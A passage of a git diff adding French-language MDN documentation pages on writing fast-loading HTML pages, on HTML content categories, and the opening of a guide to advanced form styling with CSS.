+
+<h2 class="highlight-spanned" id="Video" style="font-size: 24px !important; line-height: 30px !important;"><span class="highlight-span" style="font-size: 24px !important; line-height: 30px !important;">Video</span></h2>
+
+<dl style="font-size: 16px !important; line-height: 24px !important;">
+ <dt style="font-size: 16px !important; line-height: 24px !important;"><a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video" style="font-size: 16px !important; line-height: 24px !important;">Utiliser les éléments HTML5 audio et video</a></dt>
+ <dd style="font-size: 16px !important; line-height: 24px !important;">Intégrer de la vidéo et / ou de l'audio dans une page Web</dd>
+ <dt style="font-size: 16px !important; line-height: 24px !important;"><a href="/fr/docs/Web/API/WebRTC_API" style="font-size: 16px !important; line-height: 24px !important;">WebRTC</a></dt>
+ <dd style="font-size: 16px !important; line-height: 24px !important;">Le RTC dans WebRTC est l'abréviation de Real-Time Communications, c'est une technologie qui permet le streaming audio / vidéo et le partage de données entre les clients du navigateur (homologues).</dd>
+</dl>
diff --git a/files/fr/web/guide/html/astuces_de_création_de_pages_html_à_affichage_rapide/index.html b/files/fr/web/guide/html/astuces_de_création_de_pages_html_à_affichage_rapide/index.html
new file mode 100644
index 0000000000..58e21b4603
--- /dev/null
+++ b/files/fr/web/guide/html/astuces_de_création_de_pages_html_à_affichage_rapide/index.html
@@ -0,0 +1,118 @@
+---
+title: Astuces de création de pages HTML à affichage rapide
+slug: Web/Guide/HTML/Astuces_de_création_de_pages_HTML_à_affichage_rapide
+tags:
+  - HTML
+  - Performance
+translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages
+---
+<p>C'est connu, les internautes sont de grands impatients, ils veulent des résultats immédiats, avec des gros titres et des réponses courtes et efficaces. <br>
+ Une page web optimisé prévoit non seulement un site plus réactif, mais aussi de réduire la charge sur vos serveurs Web et votre connexion Internet. Cela peut être crucial pour les gros sites ou des sites qui ont un pic de trafic dans des circonstances exceptionnelles (telles que les Unes des journaux fracassantes). De plus, Google en tient compte pour son classement.</p>
+
+<h3 id="Réduire_le_poids_de_la_page">Réduire le poids de la page</h3>
+
+<p>Le poids de la page est de loin le facteur le plus important dans les performances de chargement de votre page. Pour les améliorer, on peut procéder de diverses manières:</p>
+
+<ul>
+ <li>Eliminer les espaces et les commentaires inutile.</li>
+ <li>
+  <div>Déplacer le script intégré (ou "inline scripts") et le code CSS dans des fichiers externes (un pour JavaScript, un pour CSS,...). Des outils tels que <a class="external" href="http://www.html-tidy.org" title="http://tidy.sourceforge.net/">HTML Tidy</a> peuvent automatiquement enlever les espaces de trop et les lignes vides à partir d'une source HTML valide. D'autres outils peuvent "compresser" JavaScript comme le libre <a class="external" href="http://yuilibrary.com/projects/yuicompressor/" title="http://yuilibrary.com/projects/yuicompressor/">YUIcompressor</a>.</div>
+ </li>
+ <li>
+  <div>Verifiez que votre site ne contient pas de code inutile ou de tags superflus. </div>
+ </li>
+</ul>
+
+<p>Téléchargez le html d'abords, puis le CSS et le JavaScript nécessaires à son affichage, de sorte que l'utilisateur obtienne rapidement une réponse apparente au cours du chargement de la paget. Ce contenu est généralement du texte, et peuvent donc bénéficier de la compression de texte dans le modem, fournissant ainsi une réponse encore plus rapide à l'utilisateur.</p>
+
+<h3 id="Réduisez_le_nombre_de_fichiers">Réduisez le nombre de fichiers</h3>
+
+<p>Réduire le nombre de fichiers référencés dans une page web diminue le nombre de connexions <a href="/en/HTTP" title="https://developer.mozilla.org/en/HTTP">HTTP </a>nécessaire pour télécharger une page.</p>
+
+<ul>
+ <li>Utilisez le moins d'images possible sur votre site (et de gif animés ofc). Preferez des <a class="external" href="http://css-tricks.com/examples/ButtonMaker/" title="http://css-tricks.com/examples/ButtonMaker/">boutons graphiques en CSS</a>.</li>
+ <li>Compressez vos images (éviter les .png). Vous pouvez pour cela utiliser <a class="external" href="http://www.gimp.org/" title="http://www.gimp.org/">Gimp</a> ou <a class="external" href="http://www.imagemagick.org/script/index.php" title="http://www.imagemagick.org/script/index.php">Imagemagik</a>.</li>
+ <li>Preferez le CSS ou le JavaScript au flash: il ralenti le navigateur.</li>
+</ul>
+
+<p>Les videos sont diffusées progressivement depuis le serveur, elles ne ralentisseent donc pas le chargement de votre page.</p>
+
+<h3 id="Réduire_les_domaines_des_recherches">Réduire les domaines des recherches</h3>
+
+<p>Étant donné que chaque requete DNS demande du temps, le temps de chargement de la page va augmenter avec l'augmentation du nombre de domaines séparés figurant dans le lien CSS, JavaScript et image (src). Vous devez toujours prendre soin de n'utiliser que le nombre minimum nécessaire de différents domaines dans vos pages.</p>
+
+<h3 id="Réutiliser_le_contenu_du_cache">Réutiliser le contenu du cache</h3>
+
+<p>Assurez-vous que tout contenu qui peut être mis en cache, est mis en cache, et avec un temps d'expiration appropriée.<br>
+ En particulier, attention à l'en-tête "Last-Modified". Elle permet la mise en cache de la page; grâce à cette en-tête, l'information est transmise au navigateur (ou "user agent") sur le fichier qu'il veut charger, comme lors de sa dernière modification. La plupart des serveurs web ajoute automatiquement l'en-tête "Last-Modified" aux pages statiques (par exemple. html,. css), basé sur la date de la dernière modification stockées dans le système de fichiers. Avec des pages dynamiques (p. ex. Php,. Aspx), ceci, bien sûr, ne peut pas être fait, et l'en-tête n'est pas envoyé.<br>
+ En particulier pour les pages qui sont générées dynamiquement, une petite recherche sur ce sujet est bénéfique. Il peut être quelque peu complexe, mais il permettra d'économiser beaucoup de demandes de page sur des pages qui ne devraient normalement pas être mis en cache.<br>
+ <br>
+ Plus d'informations:<br>
+ <br>
+    1. <a class="external" href="http://fishbowl.pastiche.org/2002/10/21/http_conditional_get_for_rss_hackers" title="http://fishbowl.pastiche.org/2002/10/21/http_conditional_get_for_rss_hackers">HTTP Conditional Get for RSS Hackers</a><br>
+    2. <a class="external" href="http://annevankesteren.nl/archives/2005/05/http-304" title="http://annevankesteren.nl/archives/2005/05/http-304">HTTP 304: Not Modified</a><br>
+    3. <a class="external" href="http://www.cmlenz.net/blog/2005/05/on_http_lastmod.html" title="http://www.cmlenz.net/blog/2005/05/on_http_lastmod.html">On HTTP Last-Modified and ETag</a></p>
+
+<h3 id="Réduire_le_nombre_de_scripts_en_ligne">Réduire le nombre de scripts en ligne</h3>
+
+<p>Les scripts intégrés peut être coûteux pour le chargement de la page, puisque l'analyseur (ou parser) doit supposer qu'un script intégré pourrait modifier la structure de la page quand le "parsing" est en cours. Il est donc préférable, en général, de réduire l'utilisation des scripts intégrés et l'utilisation de document.write(), en particulier au contenu de sortie. Ces manipulations peuvent améliorer chargement globale de la page. Utilisez des méthodes modernes de W3C-DOM pour manipuler le contenu de la page pour les navigateurs modernes, plutôt que des approches plus fondées sur document.write ().</p>
+
+<h3 id="Utilisez_le_CSS_moderne_et_des_balises_valides">Utilisez le CSS moderne et des balises valides</h3>
+
+<p>L'utilisation de CSS modernes réduit la quantité de balisage, et peut réduire la nécessité de "spacer" les images, en termes de disposition, et peut très souvent remplacer des images de texte stylisé - qui "coutent" beaucoup plus que l'équivalent texte-et-CSS.<br>
+ Utiliser des balises valides a d'autres avantages. Tout d'abord, les navigateurs n'ont pas besoin d'effectuer de corrections d'erreurs lors de l'analyse du code HTML.<br>
+ En outre, la validité du balisage permet la libre utilisation d'autres outils qui peuvent pré-traiter vos pages web. Par exemple, <a class="external" href="http://tidy.sourceforge.net/" title="http://tidy.sourceforge.net/">HTML Tidy</a>  peut supprimer des espaces blancs et des balises facultatives, mais il refusera de s'exécuter sur une page avec des erreurs de balisage graves.</p>
+
+<h3 id="Segmentez_votre_contenu">Segmentez votre contenu</h3>
+
+<p>Remplacer la mise en page basé sur des &lt;table&gt; par des blocs &lt;div&gt;, plutôt que des &lt;table&gt; très imbriquée comme dans l'exemple suivant:</p>
+
+<pre>&lt;TABLE&gt;
+  &lt;TABLE&gt;
+    &lt;TABLE&gt;
+          ...
+    &lt;/TABLE&gt;
+  &lt;/TABLE&gt;
+&lt;/TABLE&gt;
+
+</pre>
+
+<p>Préferez des &lt;table&gt; non-imbriquées ou &lt;div&gt; comme dans l'exemple suivant:</p>
+
+<pre>&gt; TABLE &lt;TABLE&gt; ...&lt;/
+&gt; TABLE &lt;TABLE&gt; ...&lt;/
+&gt; TABLE &lt;TABLE&gt; ...&lt;/</pre>
+
+<h3 id="Préciser_la_taille_des_images_et_des_tableaux">Préciser la taille des images et des tableaux</h3>
+
+<p>Si le navigateur peut immédiatement déterminer la hauteur et/ou la largeur de vos images et tableaux, il sera capable d'afficher une page web sans avoir à refondre le contenu. Cela n'augmente pas seulement la vitesse d'affichage de la page, mais aussi à empêcher les changements gênants dans la disposition d'une page lors du chargement. Pour cette raison, la hauteur et la largeur doit être spécifié pour les images, chaque fois que possible.<br>
+ Les tableaux doivent utiliser le sélecteur CSS selector:property combination:</p>
+
+<pre>  table-layout: fixed;
+
+</pre>
+
+<p>et doit spécifier la largeur des colonnes en utilisant le COL et les balises html COLGROUP.</p>
+
+<h3 id="Choisissez_les_versions_des_navigateur_ciblés">Choisissez les versions des navigateur ciblés</h3>
+
+<p><br>
+ Pour atteindre les plus grandes améliorations dans la conception de la page, assurez-vous que des exigences raisonnables de l'agent utilisateur (user-agent) soit définies pour les projets. Cela ne nécessite pas que votre contenu apparaisse parfaitement sur tous les navigateurs, et surtout pas dans les navigateurs d'une version anterieure.<br>
+ <br>
+ Idéalement, vous devriez vous concentrez sur l'examen des navigateurs modernes qui prennent en charge des normes pertinentes. Il peut s'agir de: Firefox 5, Internet Explorer 9 sur Windows, Opera 11 sous Windows et Safari 5 sur Mac OS X.<br>
+ <br>
+ Notez, cependant, que beaucoup de conseils énumérés dans cette page sont des techniques de bon sens qui s'applique à tous, et peuvent être appliquées à n'importe quelle page web, indépendamment des exigences relatives des navigateurs.</p>
+
+<h3 id="Liens_connexes">Liens connexes</h3>
+
+<p><br>
+     * <a class="external" href="http://www.alsacreations.com/astuce/lire/527-optimisez-vos-pages-avec-yslow.html" title="http://www.alsacreations.com/astuce/lire/527-optimisez-vos-pages-avec-yslow.html">Optimisez vos pages avec Yslow</a><br>
+     * <a class="external" href="http://www.websiteoptimization.com/" title="http://www.websiteoptimization.com/">Livre: "Speed Up Your Site" par Andy King</a><br>
+     *<a class="external" href="http://webmonkey.wired.com/webmonkey/design/site_building/tutorials/tutorial2.html" title="http://webmonkey.wired.com/webmonkey/design/site_building/tutorials/tutorial2.html"> Site Optimization Tutorial </a>(WebMonkey) (en anglais) <br>
+     * <a class="external" href="http://developer.yahoo.com/performance/rules.html" title="http://developer.yahoo.com/performance/rules.html">Best Practices for Speeding Up Your Web Site</a> (en anglais) </p>
+
+<p> </p>
+
+<p><strong>Document d'information d'origine</strong><br>
+ <br>
+     * https://developer.mozilla.org/en/Tips_for_Authoring_Fast-loading_HTML_Pages</p>
diff --git a/files/fr/web/guide/html/catégories_de_contenu/index.html b/files/fr/web/guide/html/catégories_de_contenu/index.html
new file mode 100644
index 0000000000..35a8ed9779
--- /dev/null
+++ b/files/fr/web/guide/html/catégories_de_contenu/index.html
@@ -0,0 +1,175 @@
+---
+title: Catégories de contenu
+slug: Web/Guide/HTML/Catégories_de_contenu
+tags:
+  - Avancé
+  - Contenus
+  - Guide
+  - HTML
+translation_of: Web/Guide/HTML/Content_categories
+---
+<p>Chaque élément <a href="https://developer.mozilla.org/fr/docs/Web/HTML">HTML</a> est membre d'un certain nombre de catégories de contenu qui regroupent des éléments partageant un ensemble de caractéristiques. Ceci est un regroupement lâche, en ce sens qu'il ne crée pas réellement de relation entre les éléments de ces types, mais il aide à définir et à décrire leur comportement et les règles associées qu'ils doivent respecter, en particulier lorsque l'on entre dans leurs détails complexes. Il est également possible que les éléments ne soient membres d'aucune de ces catégories.</p>
+
+<p>Il y a trois types différents de catégories de contenu :</p>
+
+<ul>
+ <li>Les catégories de contenu principales qui décrivent un ensemble de règles de contenu partagées par une grande variété d'éléments ;</li>
+ <li>Les catégories de contenu relatives aux formulaires qui décrivent les règles de contenu partagées par les éléments en lien avec les formulaires ;</li>
+ <li>Les catégories de contenu spécifiques qui décrivent des catégories plus rares et qui s'appliquent à peu d'éléments, parfois dans un contexte particulier</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> un discours plus détaillé sur ces catégories de contenu et de leurs fonctionnalités comparatives dépasse le cadre de cet article ; pour en savoir plus, vous pouvez lire les <a href="https://html.spec.whatwg.org/multipage/dom.html#kinds-of-content">parties correspondantes de la spécification HTML</a> (en).</p>
+</div>
+
+<div style="width: 50%;"><a href="/@api/deki/files/6244/=Content_categories_venn.png" title="Content_categories_venn.png"><img alt="Content_categories_venn.png" class="default internal" src="/@api/deki/files/6244/=Content_categories_venn.png?size=webview" style="height: 200px; width: 366px;"></a></div>
+
+<h2 id="Principales_catégories_de_contenu">Principales catégories de contenu</h2>
+
+<h3 id="Contenu_de_méta-données">Contenu de méta-données</h3>
+
+<p>Les éléments appartenant à cette catégorie modifient la présentation ou le comportement du reste du document, insèrent des liens vers d'autres documents ou comportent des informations sur la structure même des données.</p>
+
+<p>Les éléments appartenant à cette catégories sont : {{HTMLElement("base")}}, {{HTMLElement("command")}}{{ Obsolete_inline()}} , {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.</p>
+
+<h3 id="Contenu_de_flux">Contenu de flux</h3>
+
+<p>Les éléments appartenant à la catégorie de contenu de flux contiennent généralement du texte ou du contenu intégré. Ces éléments sont : {{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("picture")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} et le texte.</p>
+
+<p>Quelques autres éléments appartiennent à cette catégorie mais seulement sous certaines conditions :</p>
+
+<ul>
+ <li>{{HTMLElement("area")}} s'il est un descendant de l'élément {{HTMLElement("map")}}</li>
+ <li>{{HTMLElement("link")}} si l'attribut <a href="/fr/docs/HTML/Global_attributes#itemprop" title="/fr/docs/HTML/Global_attributes#itemprop"><strong>itemprop</strong></a> est présent</li>
+ <li>{{HTMLElement("meta")}} si l'attribut <a href="/fr/docs/HTML/Global_attributes#itemprop" title="/fr/docs/HTML/Global_attributes#itemprop"><strong>itemprop</strong></a> est présent</li>
+ <li>{{HTMLElement("style")}} si l'attribut {{htmlattrxref("scoped","style")}} {{deprecated_inline()}} est présent</li>
+</ul>
+
+<h3 id="Contenu_sectionnant"><a id="contenu sectionnant" name="contenu sectionnant"></a>Contenu sectionnant</h3>
+
+<p>Les éléments appartenant à cette catégorie sont ceux créant une nouvelle <a href="/fr/docs/HTML/Sections_and_Outlines_of_an_HTML5_document" title="/fr/docs/HTML/Sections_and_Outlines_of_an_HTML5_document">section dans le plan du document</a> qui définit la portée des éléments {{HTMLElement("header")}}, des éléments {{HTMLElement("footer")}} et du <a href="#Contenu de titre" title="#Contenu de titre">contenu de titre</a>.</p>
+
+<p>Les éléments appartenant à cette catégorie sont les éléments {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} et {{HTMLElement("section")}}. </p>
+
+<div class="note">
+<p><em>Note :</em> Il ne faut pas confondre ce modèle de contenu avec la catégorie de <a href="/fr/docs/HTML/Sections_and_Outlines_of_an_HTML5_document#Racines_de_sectionnement" title="/fr/docs/HTML/Sections_and_Outlines_of_an_HTML5_document#Racines_de_sectionnement">racine de sectionnement</a> qui isole un contenu par rapport à la structure (ou plan) principale.</p>
+</div>
+
+<h3 id="Contenu_de_titre"><a name="Contenu de titre">Contenu de titre</a></h3>
+
+<p>Le contenu de titre définit le titre d'une section, qu'elle soit marquée par un <a href="#">contenu sectionnant</a> de manière explicite ou qu'elle soit définie de manière implicite par le contenu de titre lui-même.</p>
+
+<p>Les éléments appartenant à cette catégorie sont {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} et {{HTMLElement("hgroup")}}.</p>
+
+<div class="note">
+<p><em>Note :</em> Bien qu'il soit probable qu'un élément {{HTMLElement("header")}} comporte du contenu de titre, il n'est pas lui-même un contenu de titre.</p>
+</div>
+
+<div class="note">
+<p>Note : {{HTMLElement("hgroup")}} est supprimé du document recommandé par W3C.</p>
+</div>
+
+<h3 id="Contenu_phrasé">Contenu phrasé</h3>
+
+<p>Le contenu phrasé définit le texte et le balisage qu'il contient. Des séquences de contenu phrasé constituent des paragraphes.</p>
+
+<p>Les éléments appartenant à cette catégorie sont  {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("picture")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} et du texte brut (n'étant pas une simple suite de blancs).</p>
+
+<p>Quelques autres éléments appartiennent à cette catégorie mais seulement selon certaines conditions :</p>
+
+<ul>
+ <li>{{HTMLElement("a")}} s'il contient seulement du contenu phrasé</li>
+ <li>{{HTMLElement("area")}} s'il est un descendant de l'élément {{HTMLElement("map")}}</li>
+ <li>{{HTMLElement("del")}} s'il contient seulement du contenu phrasé</li>
+ <li>{{HTMLElement("ins")}} s'il contient seulement du contenu phrasé</li>
+ <li>{{HTMLElement("link")}} si l'attribut <a href="/fr/docs/HTML/Global_attributes#itemprop" title="/fr/docs/HTML/Global_attributes#itemprop"><strong>itemprop</strong></a> est présent</li>
+ <li>{{HTMLElement("map")}} s'il contient seulement du contenu phrasé</li>
+ <li>{{HTMLElement("meta")}} si l'attribut <a href="/fr/docs/HTML/Global_attributes#itemprop" title="/fr/docs/HTML/Global_attributes#itemprop"><strong>itemprop</strong></a> est présent</li>
+</ul>
+
+<h3 id="Contenu_intégré">Contenu intégré</h3>
+
+<p>Le contenu intégré importe une autre ressource ou intègre du contenu provenant d'un autre langage de balisage ou d'un autre espace de noms dans le document. Les éléments appartenant à cette catégorie sont : {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{HTMLElement("svg")}}, {{HTMLElement("video")}}.</p>
+
+<h3 id="Contenu_interactif">Contenu interactif</h3>
+
+<p>Le contenu interactif regroupe des éléments spécialement conçus pour une interaction avec l'utilisateur. Les éléments appartenant à cette catégories sont : {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("label")}}, {{HTMLElement("select")}}, et {{HTMLElement("textarea")}}.</p>
+
+<p>Quelques éléments appartiennent à cette catégorie seulement sous certaines conditions :</p>
+
+<ul>
+ <li>{{HTMLElement("audio")}} si l'attribut {{htmlattrxref("controls", "audio")}} est présent</li>
+ <li>{{HTMLElement("img")}} si l'attribut {{htmlattrxref("usemap", "img")}} est présent</li>
+ <li>{{HTMLElement("input")}} si l'attribubt {{htmlattrxref("type", "input")}} ne vaut pas <code>hidden</code></li>
+ <li>{{HTMLElement("menu")}} si l'attribut {{htmlattrxref("type", "menu")}} vaut <code>toolbar</code></li>
+ <li>{{HTMLElement("object")}} si l'attribut {{htmlattrxref("usemap", "object")}} est présent</li>
+ <li>{{HTMLElement("video")}}, si l'attribut {{htmlattrxref("controls", "video")}} est présent</li>
+</ul>
+
+<h3 id="Contenu_tangible">Contenu tangible</h3>
+
+<p>Un contenu peut être dit tangible lorsqu'il n'est ni vide ni caché. Les éléments dont le modèle de contenu est de flux ou phrasé devraient toujours avoir au moins un noeud dont le contenu est tangible.</p>
+
+<h3 id="Contenu_associé_aux_formulaires">Contenu associé aux formulaires</h3>
+
+<p>Le contenu associé aux formulaires contient les éléments possédés par un formulaire, exposé avec un attribut <strong>form</strong>. Être possédé par un formulaire signifie être descendant d'un élément  {{HTMLElement("form")}} ou de l'élément dont l'identifiant est référencé par la valeur de l'attribut <strong>form</strong>.</p>
+
+<p>Cette catégorie contient les éléments :</p>
+
+<ul>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("keygen")}}{{deprecated_inline()}}</li>
+ <li>{{HTMLElement("label")}}</li>
+ <li>{{HTMLElement("meter")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+ <li>{{HTMLElement("progress")}}</li>
+ <li>{{HTMLElement("select")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
+
+<p> Cette catégorie peut être subdivisée en plusieurs sous-catégories.</p>
+
+<dl>
+ <dt><a name="Form_listed">listed</a> (éléments listés)</dt>
+ <dd>Les éléments étant listés sont les ensembles IDL <a href="/fr/docs/DOM/form.elements" title="DOM/form.elements">form.elements</a> et fieldset.elements. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, et {{HTMLElement("textarea")}}.</dd>
+ <dt><a name="Form_labelable">labelable</a> (éléments étiquetables)</dt>
+ <dd>Les éléments pouvant être associés avec des éléments  {{HTMLElement("label")}}. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}.</dd>
+ <dt><a name="Form_submittable">submittable</a> (éléments participants à l'envoi du formulaire)</dt>
+ <dd>Les éléments pouvant être utilisés pour construire les données du formulaires quand celui-ci est envoyé. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("object")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}.</dd>
+ <dt><a name="Form_resettable">resettable</a> (éléments de ré-initialisation)</dt>
+ <dd>Éléments pouvant être impactés lorsqu'un formulaire est ré-initialisé. Ce sont : {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("output")}},{{HTMLElement("select")}} et {{HTMLElement("textarea")}}.</dd>
+</dl>
+
+<h2 id="Catégories_secondaires">Catégories secondaires</h2>
+
+<p>Il existe des classifications secondaires d'éléments qu'il peut être utile de connaître également.</p>
+
+<h3 id="Éléments_supports_de_script">Éléments supports de script</h3>
+
+<p>Les éléments supports de script sont des éléments qui ne contribuent pas directement à la sortie rendue d'un document. Au lieu de cela, ils servent à prendre en charge les scripts, soit en contenant ou en spécifiant le code de script directement, soit en spécifiant les données qui seront utilisées par les scripts. Ce sont :</p>
+
+<ul>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{HTMLElement("template")}}</li>
+</ul>
+
+<h2 id="Modèle_de_contenu_transparent">Modèle de contenu transparent</h2>
+
+<p>Si l'élément possède un modèle de contenu transparent, son contenu doit alors être structuré comme du HTML5 valide, et ce, même si l'élément transparent a été enlevé et remplacé par ses éléments fils.</p>
+
+<p>Les éléments {{HTMLElement("del")}} et {{HTMLELement("ins")}} sont des exemples d'éléments transparents.</p>
+
+<pre>&lt;p&gt;Bonjour &lt;del&gt;&lt;em&gt;tout&lt;/em&gt;&lt;/del&gt; &lt;ins&gt;le monde&lt;/ins&gt;.&lt;/p&gt;
+</pre>
+
+<p>Si ces éléments étaient retirés, ce fragment de code HTML serait toujours du HTML valide.</p>
+
+<pre>&lt;p&gt;Bonjour &lt;em&gt;tout&lt;/em&gt; le monde.&lt;/p&gt;
+</pre>
+
+<h2 id="Autres_modèles_de_contenu">Autres modèles de contenu</h2>
+
+<p><a href="/fr/docs/HTML/Sections_and_Outlines_of_an_HTML5_document#Racines_de_sectionnement" title="/fr/docs/HTML/Sections_and_Outlines_of_an_HTML5_document#Racines_de_sectionnement">Racine de sectionnement.</a></p>
diff --git a/files/fr/web/guide/html/formulaires/advanced_styling_for_html_forms/index.html b/files/fr/web/guide/html/formulaires/advanced_styling_for_html_forms/index.html
new file mode 100644
index 0000000000..6d6a68bd4c
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/advanced_styling_for_html_forms/index.html
@@ -0,0 +1,469 @@
+---
+title: Composition avancée des formulaires HTML
+slug: Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms
+tags:
+  - Avancé
+  - CSS
+  - Exemple
+  - Formulaires
+  - Guide
+  - HTML
+  - Web
+translation_of: Learn/Forms/Advanced_form_styling
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets", "Web/Guide/HTML/Formulaires")}}</div>
+
+<p class="summary">Dans cet article, nous verrons comment utiliser les <a href="/fr/docs/Apprendre/CSS">CSS</a> avec les formulaires <a href="/fr/docs/Glossaire/HTML">HTML</a> pour modifier le style de certains widgets difficiles à personnaliser. Comme nous l'avons vu dans l'<a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">article précédent</a>, les champs texte et les boutons sont parfaitement compatibles avec les CSS. Maintenant, nous allons approfondir la part sombre de la composition stylistique des formulaires HTML.</p>
+
+<p>Avant d'aller plus loin, faisons un rappel pour deux types de widgets de formulaires :</p>
+
+<dl>
+ <dt>la brute</dt>
+ <dd>Éléments, dont le style n'est que difficilement modifiable, demandant des astuces complexes, nécessitant parfois de faire appel à une connaissance avancée des CSS3.</dd>
+ <dt>le truand</dt>
+ <dd>Oubliez l'emploi des CSS pour modifier le style de ces éléments. Au mieux, vous pourrez faire des petites choses, mais elle ne seront pas reproductibles sur d'autres navigateurs ; il ne sera jamais possible de prendre un contrôle total de leur apparence.</dd>
+</dl>
+
+<h2 id="Possibilités_d'expression_avec_les_CSS">Possibilités d'expression avec les CSS</h2>
+
+<p>Le problème fondamental avec les widgets de formulaire, autres que champs de texte et boutons, est que dans de nombreux cas, le CSS ne possède pas assez d'expressions pour styliser correctement les widgets complexes.</p>
+
+<p>L'évolution récente du HTML et des CSS a étendu l'expressivité des CSS :</p>
+
+<ul>
